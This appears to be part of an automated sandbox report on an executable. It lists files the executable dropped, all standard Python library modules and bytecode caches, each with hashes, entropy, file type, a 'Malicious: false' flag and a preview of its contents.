SHA-512:	3108600E03CD66C5BBE2CD37D5539DC961CF62F2385CC4BFB3F15B5FBED0485B820DB753A4EDEC7C4891DAE2CB3A6520C705BD2E3830A014A9D88524FB7A93B9
Malicious:	false
Preview:	"""Generic (shallow and deep) copying operations.....Interface summary:.... import copy.... x = copy.copy(y) # make a shallow copy of y.. x = copy.deepcopy(y) # make a deep copy of y....For module specific errors, copy.Error is raised.....The difference between shallow and deep copying is only relevant for..compound objects (objects that contain other objects, like lists or..class instances).....- A shallow copy constructs a new compound object and then (to the.. extent possible) inserts the same objects into it that the.. original contains.....- A deep copy constructs a new compound object and then, recursively,.. inserts copies into it of the objects found in the original.....Two problems often exist with deep copy operations that don't exist..with shallow copy operations:.... a) recursive objects (compound objects that, directly or indirectly,.. contain a reference to themselves) may cause a recursive loop.... b) because deep copy copies *eve

C:\recover\pw\Lib\copyreg.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	7645
Entropy (8bit):	4.489970415664536
Encrypted:	false
SSDEEP:	192:i0YOWh6nk2vypRXb+7wV+0Xi+xCgGoqn4zs3ftHvpRDkT3LHQXTNS/DK:i7D6n/aDAwV+2UzoWI+fxxRyAS/DK
MD5:	5B6BA7867D653890AF7572CC0AAAB479
SHA1:	6877D39632885002917342DF18E83BEBD42339EA
SHA-256:	E5BF33A527D7251F17BFD491AD0F0858E1A3C4C7C10DC5E578FDB6C80C8F9336
SHA-512:	841389A1C64F9384F17F78C929D4161B42CE3389F6AC47666CF1B3CCFEF77F2033EBC86087CB2878BEE336623FC1FAD772F3CD751A57E3797CE0807D75E115BD
Malicious:	false
Preview:	"""Helper to provide extensibility for pickle.....This is only useful to add pickle support for extension types defined in..C, not for instances of user-defined classes..."""....__all__ = ["pickle", "constructor",.. "add_extension", "remove_extension", "clear_extension_cache"]....dispatch_table = {}....def pickle(ob_type, pickle_function, constructor_ob=None):.. if not callable(pickle_function):.. raise TypeError("reduction functions must be callable").. dispatch_table[ob_type] = pickle_function.... # The constructor_ob function is a vestige of safe for unpickling... # There is no reason for the caller to pass it anymore... if constructor_ob is not None:.. constructor(constructor_ob)....def constructor(object):.. if not callable(object):.. raise TypeError("constructors must be callable")....# Example: provide pickling support for complex numbers.....try:.. complex..except NameError:.. pass..else:.... def pickle_complex(c):..

C:\recover\pw\Lib\crypt.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	3968
Entropy (8bit):	4.824103634261663
Encrypted:	false
SSDEEP:	96:dIq0/Rp6HYaRBfmqj0vAhdjFRIJSXt/yOTHXQ:hrlfmo0cjFR8ot/yOjQ
MD5:	32B7E13B0D5DB6085076605DC93A4FFF
SHA1:	639C5571A9118FC62C0CF24D6D07A1340126F7CB
SHA-256:	3C30CC40B548B1EF7009CE2F378F5516F5E2FB325208C377D892D3ABB4A2EA88
SHA-512:	C8579D85830254EF0BBF2B9E7EDFF694807A99B36DBB8BC5C8456FCF6F9465ABEFF9A77AD143AE9C609B73830C60A6CE534A850069332B3956252A8C9979D386
Malicious:	false
Preview:	"""Wrapper to the POSIX crypt library call and associated functionality."""....import sys as _sys....try:.. import _crypt..except ModuleNotFoundError:.. if _sys.platform == 'win32':.. raise ImportError("The crypt module is not supported on Windows").. else:.. raise ImportError("The required _crypt module was not built as part of CPython")....import errno..import string as _string..from random import SystemRandom as _SystemRandom..from collections import namedtuple as _namedtuple......_saltchars = _string.ascii_letters + _string.digits + './'.._sr = _SystemRandom()......class _Method(_namedtuple('_Method', 'name ident salt_chars total_size')):.... """Class representing a salt method per the Modular Crypt Format or the.. legacy 2-character crypt method.""".... def __repr__(self):.. return '<crypt.METHOD_{}>'.format(self.name)......def mksalt(method=None, *, rounds=None):.. """Generate a salt for the specified method..... If not specified, the

C:\recover\pw\Lib\csv.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	16474
Entropy (8bit):	4.36498470229318
Encrypted:	false
SSDEEP:	192:vhxqK/P/zv/3I4aU/J4aJQ8cSLsuxCErDFYCiFBwbxZYwUu/6TTNMnzFcIO/sw:v1X3pLbNFrDiBwnC/acbsw
MD5:	CC8985ECA9F01BE5592599AEB491413C
SHA1:	0A0D6B94B6E0FFD07EF0A4B91F638FA5FADF9E18
SHA-256:	D5194CB311061A9AE2D0BF0B6A51C1ECEC011CDC2B5E6EBA91820C91FB00AC97
SHA-512:	D887C8CC8FF58D32F05C5797DC0189DB004CDF4D49C488BCFDC1A03A5BDAAA902DCDB998A4130D16C71B69B3BA34793E5E7984FEB75385E4FB77A03AEA6FC207
Malicious:	false
Preview:	.."""..csv.py - read/write/investigate CSV files.."""....import re..from _csv import Error, __version__, writer, reader, register_dialect, \.. unregister_dialect, get_dialect, list_dialects, \.. field_size_limit, \.. QUOTE_MINIMAL, QUOTE_ALL, QUOTE_NONNUMERIC, QUOTE_NONE, \.. __doc__..from _csv import Dialect as _Dialect....from io import StringIO....__all__ = ["QUOTE_MINIMAL", "QUOTE_ALL", "QUOTE_NONNUMERIC", "QUOTE_NONE",.. "Error", "Dialect", "__doc__", "excel", "excel_tab",.. "field_size_limit", "reader", "writer",.. "register_dialect", "get_dialect", "list_dialects", "Sniffer",.. "unregister_dialect", "__version__", "DictReader", "DictWriter",.. "unix_dialect"]....class Dialect:.. """Describe a CSV dialect..... This must be subclassed (see csv.excel). Valid attributes are:.. delimiter, quotechar, escapechar, doublequote, skipinitialspace,.. lineterminator,

C:\recover\pw\Lib\ctypes\pycache\init.cpython-310.pyc.76952992

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	15880
Entropy (8bit):	5.331845276605679
Encrypted:	false
SSDEEP:	384:koMRQLVaCuGN1r9u1u2RTCQzweSkqxo5IbeX6EoV:koMoVl9u1d9wqpIbQBoV
MD5:	A036BCF2F4885D95CE6D60F1B2F1CF03
SHA1:	7363117F564079CEB52D5FBF4D4B40BFAB7274A8
SHA-256:	59A26490DD9612357DF6725545A7200B6CD6A8E00B315C07266F95B24AABCE13
SHA-512:	CDFF7C7454ACC50AEE07CB2F6B3993DC19FA7FD71B147F9B4B0D282DEBCDB53AF8773D29B1B3E4E1394400D0A7F83947F691C1230F01DD7772169A333E71B2A0
Malicious:	false
Preview:	o.........SgwH.......................@...s(...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.Z.d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...e.e.k.rJe.d.e.e.....e.j.d.k.rUd.d.l.m.Z...e.Z.e.j.d.k.rqe.j.d.k.rqe.e.....j...d...d.....d.k.rqe.Z.d.d.l.m.Z m!Z"m#Z$m%Z&..d}d.d...Z'd}d.d...Z(i.Z)d.d...Ze.j.d.k.r.d.d.l.m+Z,..d.d.l.m-Z...i.Z/d.d...Z0e0j.r.ej..1d.d...e0_.n.e.j.d.k.r.d.d.l.m2Z,..d.d.l.m3Z3m4Z4m5Z5m6Z6m7Z7..d.d.l.m8Z8m9Z9..d.d l.m:Z:..d}d!d"..Z;G.d#d$..d$e:..Z<e;e<d%....G.d&d'..d'e:..Z=e;e=....G.d(d)..d)e:..Z>e;e>....G.d*d+..d+e:..Z?e;e?....G.d,d-..d-e:..Z@e;e@....e.d...e.d/..k...r'e?ZAe@ZBn.G.d0d1..d1e:..ZAe;eA....G.d2d3..d3e:..ZBe;eB....G.d4d5..d5e:..ZCe;eC....G.d6d7..d7e:..ZDe;eD....G.d8d9..d9e:..ZEe3eE..e3eD..k...rjeDZEe.d/..e.d:..k...rxe?ZFe@ZGn.G.d;d<..d<e:..ZFe;eF....G.d=d>..d>e:..ZGe;eG....G.d?d@..d@e:..ZHeH..eH_IeH_Je;eH....G.dAdB..dBe:..ZKeK..eK_IeK_Je;eK....G.dCdD..dDe:..ZLeL..eL_IeL_Je;eL....G.dEdF..dFe:..ZMe;eMd%....G.dGdH..dHe:..ZNeNZO

C:\recover\pw\Lib\ctypes\pycache\_endian.cpython-310.pyc.76969112

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	1899
Entropy (8bit):	5.181144589459649
Encrypted:	false
SSDEEP:	48:j7p1APBJ0tfAE4axn4rX4kbruu/fdq7RvRhPAEV5wq:R6r0OhauLtV1qRoEV9
MD5:	5A216A9711CC4D2E34AF2D10EF051235
SHA1:	DDD14AFDE4B2B57D36AD2CC58B5713D388C13C7A
SHA-256:	73FCB4A71CB319A338913B7E2334C49D46FC3220A83F64DDB4BED0D9EF9F2CE3
SHA-512:	EA8ED04E7D81107CD4385F32C624431568AFED686CC0E6E7347D5CA208FE3AF065F7FC9DCAE2682061E8464B3672286AFB62986683036E38FA0DB9DD582D5A68
Malicious:	false
Preview:	o.........Sg.........................@...s....d.d.l.Z.d.d.l.T.e.e...Z.d.d...Z.G.d.d...d.e.e.....Z.e.j.d.k.r/d.Z.e.Z.G.d.d...d.e.e.d...Z.d.S.e.j.d.k.rDd.Z.e.Z.G.d.d...d.e.e.d...Z.d.S.e.d.....)......N)...*c....................C...sH...t.\|.t...r.t.\|.t...S.t.\|.t...r.t.\|.j...\|.j...S.t.\|.t...r.\|.S.t.d.\|.......).z.Return the type with the 'other' byte order. Simple types like. c_int and so on already have __ctype_be__ and __ctype_le__. attributes which contain the types, for more complicated types. arrays and structures are supported.. z+This type does not support other endian: %s)...hasattr.._OTHER_ENDIAN..getattr..isinstance.._array_type.._other_endian.._type_Z._length_..issubclass..Structure..TypeError)...typ..r.....#C:\recover\pw\lib\ctypes\_endian.pyr........s..................r....c........................s....e.Z.d.Z...f.d.d...Z.....Z.S.)..._swapped_metac........................s^...\|.d.k.r&g.}.\|.D.].}.\|.d...}.\|.d...}.\|.d.d.....}.\|...\|.t.\|...f.\|.......q.\|.}.t.....\|.\|.....d

C:\recover\pw\Lib\ctypes\pycache\util.cpython-310.pyc.76968056

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	8310
Entropy (8bit):	5.473749137354661
Encrypted:	false
SSDEEP:	192:4+G6rCXBDrl73zbXCL3mm0LGuZ7Iv0nwMXwDRi4qzDj:4lCiDp7Do0LGutnwMXExqzDj
MD5:	1312EA34C92E63A2E4D6F0D66048C835
SHA1:	EA31C3AEDC350E774286665B704CBECF15709742
SHA-256:	7BD74A1A52822210359548696483DD9BE8F9F009F030AEE4BD046718D146A567
SHA-512:	AAFA210109E02CA07C7DB2609B3DC230355874E1C2C624A25D2B80D054C3DBCB2862C3D3BAC35BED3FB84FDC3333BF2E935A276470D711DFB53FA399204A4329
Malicious:	false
Preview:	o.........Sg.7.......................@...s@...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.e.j.d.k.r"d.d...Z.d.d...Z.d.d...Z.noe.j.d.k.r7e.j.d.k.r7d.d.l.m.Z...d.d...Z.nZe.j...d...rDd.d.l.m.Z...nMe.j.d.k.r.d.d.l.Z.d.d.l.Z.d.d...Z.d.d...Z.e.j.d.k.rcd.d...Z.n.d.d...Z.e.j...d...rvd.d...Z.d.d...Z.n.e.j.d.k.r.d.d...Z.d'd.d...Z.n.d.d ..Z.d!d"..Z.d#d...Z.d$d%..Z.e.d&k.r.e.....d.S.d.S.)(.....N..ntc....................C...s....d.}.t.j...\|...}.\|.d.k.r.d.S.\|.t.\|.....}.t.j.\|.d.......d.d...\.}.}.t.\|.d.d.......d...}.\|.d.k.r3\|.d.7.}.t.\|.d.d.......d...}.\|.d.k.rCd.}.\|.d.k.rK\|.\|...S.d.S.).z.Return the version of MSVC that was used to build Python... For Python 2.3 and up, the version number is included in. sys.version. For earlier versions, assume the compiler is MSVC 6.. z.MSC v...........N.. .........................g......$@r....)...sys..version..find..len..split..int)...prefix..i..s..restZ.majorVersionZ.minorVersion..r..... C:\recover\pw\lib\ctypes\util.py.._get_build_version....s...........

C:\recover\pw\Lib\ctypes\pycache\wintypes.cpython-310.pyc.77801832

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	4856
Entropy (8bit):	5.535457551602611
Encrypted:	false
SSDEEP:	96:An7SgQvVTrUE/2DHdwyeOXd97wUah1VWyGPTYPrVgI+AxROhOFPN:An6VTAE/2DH+yZXjw7h1VWJSZe2N
MD5:	03D3FCD58383350EBF9363D8C0AF41EF
SHA1:	72D4F018F5AF633A3D80BA897E4B39CABAB8E4B2
SHA-256:	415FE6843B9D98CA4318F19BB3A9B8BD35973DE8B9ED09BC6F9E26BC0BACB333
SHA-512:	0A6D7414CEA919EC160A4454526E910B9030FCBF96A223F45F6E4A021BD47393AA1BBCF57688986B5934D93B61DC2D321DC1DDC1976501542A007358737FEAC8
Malicious:	false
Preview:	o.........Sg.........................@...s....d.d.l.Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.e.Z.e.j.Z.G.d.d...d.e.j...Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.e.j...Z.Z.e.j ..Z!Z"e.j#..Z$..Z%Z&e.j#..Z'Z(e.j)..Z*Z+e.j,..Z-Z.e../e.j...e../e.j,..k.rle.j.Z0e.j.Z1n.e../e.j...e../e.j,..k.r~e.j Z0e.j.Z1e.Z2e.Z3e.Z4e.Z5e.Z6e.Z7e.j,Z8e8Z9e8Z:e8Z;e8Z<e8Z=e8Z>e8Z?e8Z@e8ZAe8ZBe8ZCe8ZDe8ZEe8ZFe8ZGe8ZHe8ZIe8ZJe8ZKe8ZLe8ZMe8ZNe8ZOe8ZPe8ZQe8ZRe8ZSe8ZTe8ZUe8ZVe8ZWG.d.d...d.e.jX..ZYeY..ZZ..Z[Z\G.d.d...d.e.jX..Z]e]Z^G.d.d...d.e.jX..Z_G.d.d...d.e.jX..Z`e`..Za..ZbZcG.d.d...d.e.jX..Zded..ZeZfd.d...ZgG.d.d...d.e.jX..ZhehZiG.d.d...d.e.jX..ZjejZkd.ZlG.d.d...d.e.jX..ZmG.d.d...d.e.jX..Zne..oe.....ZpZqe..oe...Zre..oe.....ZsZte..oe...Zue..oe4..Zve..oe.....ZwZxe..oeh....ZyZze..oe...Z{e..oe8....Z\|Z}e..oeG..Z~e..oeH..Z.e..oe.....Z.Z.e..oe...Z.e..oe7..Z.e..oe.....Z.Z.e..oej....Z.Z.e..oe`....Z.Z.e..oec..Z.e..oeY....Z.Z.e..oe\....Z.Z.e..oeV..Z.e..oe...Z.e..oed....Z.Z.e..oef....Z.Z.e..oe^..Z.e..oe.....Z.Z.e..oe"..Z.e..o

C:\recover\pw\Lib\ctypes\macholib\README.ctypes

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	302
Entropy (8bit):	4.852668847464629
Encrypted:	false
SSDEEP:	6:8z2wHVpWObNLeQ9exK2kbFYQxEMWLh2jvW/oz2tHRAuyn:8z20hFeOT1DMd2jvb2txa
MD5:	7AD62828A8A0FCA041912A20B451904E
SHA1:	A90A30E3BC7CCC4800DB1A31DC3CDE3B7C4A86FD
SHA-256:	99F3754DEC345ED71E2BCB337E3CDC58B1A4C02D290D870DC20CCDD1FF543AE1
SHA-512:	0E111B5D5282ECE51BA41980D4DE56A38FF7A826173A9D883925968EE71BD664C74436FF319CF4AEF482972BC3689A75AADDE2359C2EEAA91D32B9DA534FCAAD
Malicious:	false
Preview:	Files in this directory come from Bob Ippolito's py2app.....License: Any components of the py2app suite may be distributed under..the MIT or PSF open source licenses.....This is version 1.0, SVN revision 789, from 2006/01/25...The main repository is http://svn.red-bean.com/bob/macholib/trunk/macholib/

C:\recover\pw\Lib\ctypes\macholib\init.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	163
Entropy (8bit):	4.7583014539285395
Encrypted:	false
SSDEEP:	3:IG7yVQV368exRnfNAoWQJpKNdeATVYaFWKOvouRBeofHOtvZLl:IR6V3exRn5WQbceAJYasKOvou3HOV1l
MD5:	B4E0F252AC2C050A15FAE8D8D5153924
SHA1:	B66E8FF57523BDC8E3C1947D84E137B54CEF0E69
SHA-256:	AD449177F69D3150373892859AFF90A1882982E9ABA313B919711B7F38370DEF
SHA-512:	B627C5F8A3E16201F4E223AC30A69BA27D1778B9D28DC6B4CFF900EF8123262FAF4E250796E30BF7CA1CA997AD70F15A59B940E19A4DB675DA3892F2C1FB4BC8
Malicious:	false
Preview:	"""..Enough Mach-O to make your head spin.....See the relevant header files in /usr/include/mach-o....And also Apple's documentation..."""....__version__ = '1.0'..

C:\recover\pw\Lib\ctypes\macholib\dyld.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	5456
Entropy (8bit):	4.9203067310922455
Encrypted:	false
SSDEEP:	96:63JF54Kcs5IwOijuELt+hE5zGQ1RK+G9nMexZs0tugAoEwdGfs0tutPScYu5DB7k:4d4KDOl6Vo4pRi9nlXs0sgx8fs0stPSX
MD5:	57341ED3630EE8675E3F70C89F977280
SHA1:	A63BDDE3913B5076F96C5C6216955BEB07BFB18F
SHA-256:	5DAD086AF985C3578C5F1A0C2E8D85BBFC3073624697CDB8E34C46CA9496B161
SHA-512:	D1E1A783FA2EA305622A28AB822377B5E4ADFF1894547DC5CBA1D946F6E43E506179C4A49C0C4CCB335220C73F9223F3E33556885D5CABD5FA20D338E3C761BE
Malicious:	false
Preview:	"""..dyld emulation.."""....import os..from ctypes.macholib.framework import framework_info..from ctypes.macholib.dylib import dylib_info..from itertools import ..try:.. from _ctypes import _dyld_shared_cache_contains_path..except ImportError:.. def _dyld_shared_cache_contains_path(args):.. raise NotImplementedError....__all__ = [.. 'dyld_find', 'framework_find',.. 'framework_info', 'dylib_info',..]....# These are the defaults as per man dyld(1)..#..DEFAULT_FRAMEWORK_FALLBACK = [.. os.path.expanduser("~/Library/Frameworks"),.. "/Library/Frameworks",.. "/Network/Library/Frameworks",.. "/System/Library/Frameworks",..]....DEFAULT_LIBRARY_FALLBACK = [.. os.path.expanduser("~/lib"),.. "/usr/local/lib",.. "/lib",.. "/usr/lib",..]....def dyld_env(env, var):.. if env is None:.. env = os.environ.. rval = env.get(var).. if rval is None:.. return [].. return rval.split(':')....def dyld_image_suffix(env=None):.. if env is No

C:\recover\pw\Lib\ctypes\macholib\dylib.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1891
Entropy (8bit):	4.849862491793074
Encrypted:	false
SSDEEP:	48:vS4hodWSQY3a/U12KWYVCdpZIE8HO28Ubbqha8:vNod7QY3a8WYVCdpZ/Hhf
MD5:	CEF944CCD77C054FB37749652A30E9F0
SHA1:	44FCAC974EDCE984915A60305CE0EF2D34D5B1AE
SHA-256:	144D1FCC7C611A8B50CD48AFBC288DF896E47FD1A1A6A10473811A4DDFF03ED0
SHA-512:	A3BA1F4BA4EF470138C086BAFDBB382E0ADB31CF3C411C5A552A78ECCD34407110A5676F456990E15AD665140A3BAF7034D750452904A263188611BBA2349CA9
Malicious:	false
Preview:	"""..Generic dylib path manipulation.."""....import re....__all__ = ['dylib_info']....DYLIB_RE = re.compile(r"""(?x)..(?P<location>^.*)(?:^\|/)..(?P<name>.. (?P<shortname>\w+?).. (?:\.(?P<version>[^._]+))?.. (?:_(?P<suffix>[^._]+))?.. \.dylib$..)..""")....def dylib_info(filename):.. """.. A dylib name can take one of the following four forms:.. Location/Name.SomeVersion_Suffix.dylib.. Location/Name.SomeVersion.dylib.. Location/Name_Suffix.dylib.. Location/Name.dylib.... returns None if not found or a mapping equivalent to:.. dict(.. location='Location',.. name='Name.SomeVersion_Suffix.dylib',.. shortname='Name',.. version='SomeVersion',.. suffix='Suffix',.. ).... Note that SomeVersion and Suffix are optional and may be None.. if not present... """.. is_dylib = DYLIB_RE.match(filename).. if not is_dylib:.. return None.. return is_dylib.groupdict()

C:\recover\pw\Lib\ctypes\macholib\fetch_macholib

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	POSIX shell script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.592685213899164
Encrypted:	false
SSDEEP:	3:TKH4o8xYdp14T7LtH77RXQ6Iaygn:ho82b2tHRAuygn
MD5:	03FC2CB5CFDE6E1C4A2699CD2193133D
SHA1:	F7FA6A9D1369B55F332E7E21AFE647C2DA05F81B
SHA-256:	7B9EB3A8AF1D12DA22604845995982CA99992876A825F3765E053DDB592620AB
SHA-512:	3CB6955D49468F961896DEDFA7AD51FA608D3E9BA5B88946410DD106827040C34F65DEB0DEBBAA6255E11F1380E11FE08310C4688F9845AFA0141178F848248C
Malicious:	false
Preview:	#!/bin/sh..svn export --force http://svn.red-bean.com/bob/macholib/trunk/macholib/ ...

C:\recover\pw\Lib\ctypes\macholib\fetch_macholib.bat

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	75
Entropy (8bit):	4.514880857909424
Encrypted:	false
SSDEEP:	3:Sydp14T7LtH77RXQ6Iaygn:tb2tHRAuygn
MD5:	B88DFC5590F1D09D550605F3AFCAC0D7
SHA1:	6724D16CF05434F9B77179D3A340A800EB1AF0DD
SHA-256:	7497FBDBB98AFCA4AC455E3A057C59BCDEBAF1280E25C94741DC301F05CB53E5
SHA-512:	B154B6C65DD7407D412BBC1BB91D73EE6CBEB94AFE21BF46531B82110095F4F58A80B9A6975FF5FE6902116A313FF22FA50BE33429A643D7C35287C0E0BB2BB1
Malicious:	false
Preview:	svn export --force http://svn.red-bean.com/bob/macholib/trunk/macholib/ ...

C:\recover\pw\Lib\ctypes\macholib\framework.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	2266
Entropy (8bit):	4.8758008419339305
Encrypted:	false
SSDEEP:	48:RQXAITOwx5A4C0gWHa/Uyb4WHPCdpzGxPiEO+M7uqabYAVle066aa:RSAITJx5A4CPWHaaWHPCdpzGxPiwHqaf
MD5:	0FBD9BB28049B7EF685F3E27DEBA9B7F
SHA1:	46A6DA7FF03A4574EB15BAFC154FCB4FAB8CC5E0
SHA-256:	AF9721872CB633DD93195C40D4404FDFDF1F1B293DFD0956015A22378033A5A8
SHA-512:	4A8ACCAE43D9A621A30BE78D4C2D3A2697C2EB7528F72B8DDC74D24D5FBED747C49AD129FA33C4EA218C8849DDEFEDE2CF967C9855C4047E1E27E457A7DC68B5
Malicious:	false
Preview:	"""..Generic framework path manipulation.."""....import re....__all__ = ['framework_info']....STRICT_FRAMEWORK_RE = re.compile(r"""(?x)..(?P<location>^.*)(?:^\|/)..(?P<name>.. (?P<shortname>\w+).framework/.. (?:Versions/(?P<version>[^/]+)/)?.. (?P=shortname).. (?:_(?P<suffix>[^_]+))?..)$..""")....def framework_info(filename):.. """.. A framework name can take one of the following four forms:.. Location/Name.framework/Versions/SomeVersion/Name_Suffix.. Location/Name.framework/Versions/SomeVersion/Name.. Location/Name.framework/Name_Suffix.. Location/Name.framework/Name.... returns None if not found, or a mapping equivalent to:.. dict(.. location='Location',.. name='Name.framework/Versions/SomeVersion/Name_Suffix',.. shortname='Name',.. version='SomeVersion',.. suffix='Suffix',.. ).... Note that SomeVersion and Suffix are optional and may be None.. if not present..

C:\recover\pw\Lib\ctypes\test\test_anon.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	2613
Entropy (8bit):	4.133177272037021
Encrypted:	false
SSDEEP:	24:evl6VWz6dtcyOnAWK90rqx89lG6bgZOmYtj66s5taWj6dUCcy8qupe:evw9dtcy7NOpUuhs5tapd1cy8quA
MD5:	0386EA58C0BDBE99EFDC92A7D4B0496A
SHA1:	1BC6866200E63EE83B9E483ED822D37914E439CD
SHA-256:	3EA0C4294653BAAE3AF691C979123E7DA16E5F946D34B5EE9808E7BF7406B06C
SHA-512:	889504A51B2584F68F9393EB8072BE0FACB5C800356CA70106C4E76D5A6F0291226BA408BD74ED6AB14C76DFADB3CF85E37D651710AB6B376F1A47145D301BA2
Malicious:	false
Preview:	import unittest..import test.support..from ctypes import *....class AnonTest(unittest.TestCase):.... def test_anon(self):.. class ANON(Union):.. _fields_ = [("a", c_int),.. ("b", c_int)].... class Y(Structure):.. _fields_ = [("x", c_int),.. ("_", ANON),.. ("y", c_int)].. _anonymous_ = ["_"].... self.assertEqual(Y.a.offset, sizeof(c_int)).. self.assertEqual(Y.b.offset, sizeof(c_int)).... self.assertEqual(ANON.a.offset, 0).. self.assertEqual(ANON.b.offset, 0).... def test_anon_nonseq(self):.. # TypeError: _anonymous_ must be a sequence.. self.assertRaises(TypeError,.. lambda: type(Structure)("Name",.. (Structure,),.. {"_fields_": [], "_anonymous_": 42})).... def test_anon_nonmember(self):..

C:\recover\pw\Lib\email\init.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1828
Entropy (8bit):	4.659617027776494
Encrypted:	false
SSDEEP:	48:2XvNh6MGDFchDSvkvxnsj/axPSLxnsbXqxP0:2Xlh6M/DxnsjuPSlnsbXGP0
MD5:	4A5BEB56533BF0D8B94EE640F866E491
SHA1:	44497180DE35656486799BC533DE4EAAF3C3EE2C
SHA-256:	AF3DD99D5C82FA7E75A653B813A592A92CF453EBC4226FB330CD47E560395426
SHA-512:	06D65E564E593489F4D49D8EAB35936B829913DB1898B25AEC2532C42BCBE1A1450248F98972119349DC1FD17337AB48F9B4749075195E763ABDFD8F430A4AF2
Malicious:	false
Preview:	# Copyright (C) 2001-2007 Python Software Foundation..# Author: Barry Warsaw..# Contact: email-sig@python.org...."""A package for parsing, handling, and generating email messages."""....__all__ = [.. 'base64mime',.. 'charset',.. 'encoders',.. 'errors',.. 'feedparser',.. 'generator',.. 'header',.. 'iterators',.. 'message',.. 'message_from_file',.. 'message_from_binary_file',.. 'message_from_string',.. 'message_from_bytes',.. 'mime',.. 'parser',.. 'quoprimime',.. 'utils',.. ].........# Some convenience routines. Don't import Parser and Message as side-effects..# of importing email since those cascadingly import most of the rest of the..# email package...def message_from_string(s, args, kws):.. """Parse a string into a Message object model..... Optional _class and strict are passed to the Parser constructor... """.. from email.parser import Parser.. return Parser(args, **kws).parsestr(s)....def message_from_bytes(s,

C:\recover\pw\Lib\email\pycache\init.cpython-310.pyc

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	data
Category:	dropped
Size (bytes):	1557
Entropy (8bit):	4.873615966958545
Encrypted:	false
SSDEEP:	24:IwQTrff0h6aHqCZ9EwkaLt/bsTkiC5GkUzzt/bih5Nz54t/biuyzOQqt/bijsHt:IwQTrfch6OD9tLNooXmNs4NMqNP
MD5:	C4F625FA8906945DFF72F7665392DD1D
SHA1:	AC658D511769C06CDA32018D784CA7E7B9132FDD
SHA-256:	D5CF7E7A9CBEADF97802577F4960C7CF0028BB07D1799098ED4DD57EC0EAE09F
SHA-512:	08E99CF15C80C10012C8CF4BA945C6D6EA263B557085975BF69DEA6F57246C2E9A34D4CC4ECF1EC6A95F810A5A3E76032994FB14EDA8EB16D4253DF2EA594B8B
Malicious:	false
Preview:	o.......=k;g$........................@...s0...d.Z.g.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.).z?A package for parsing, handling, and generating email messages.).Z.base64mime..charsetZ.encoders..errorsZ.feedparser..generator..headerZ.iterators..message..message_from_file..message_from_binary_file..message_from_string..message_from_bytesZ.mime..parserZ.quoprimime..utilsc....................O.... ...d.d.l.m.}...\|.\|.i.\|.......\|...S.).zvParse a string into a Message object model... Optional _class and strict are passed to the Parser constructor.. .........Parser)...email.parserr....Z.parsestr)...s..args..kwsr......r....."C:\winnit\pw\lib\email\__init__.pyr.... ............r....c....................O...r....).z\|Parse a bytes string into a Message object model... Optional _class and strict are passed to the Parser constructor.. r........BytesParser).r....r....Z.parsebytes).r....r....r....r....r....r....r....r....(...r....r....c....................O...r....).z.Read a file and par

C:\recover\pw\Lib\email\pycache\init.cpython-310.pyc.33905440

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	1558
Entropy (8bit):	4.868793600663458
Encrypted:	false
SSDEEP:	24:xwQTrff0h6aHqCZ9EwkaLt/bsTkiC5ckUzzt/bih5Nz54t/biuyzOQqt/bijsHt:xwQTrfch6OD9tLNoohmNs4NMqNP
MD5:	91665B3B27C9C6559E17D1AC75005AAD
SHA1:	12DD99CC2C0090E1FD67EBADFF349F38B0E32D5B
SHA-256:	EB72CFA0D1058C63DEF42131C3C7E59071D7EBD1F28FC107906B940616B8C4D9
SHA-512:	3791121EA04F2B5082960D5E976E1BFA90DE356FE66817C2B5B337BA3FA92DD6E3E1F45E1580D2CECC148EF496FCCD910C246735733207B8CA9F0F4C67B263BB
Malicious:	false
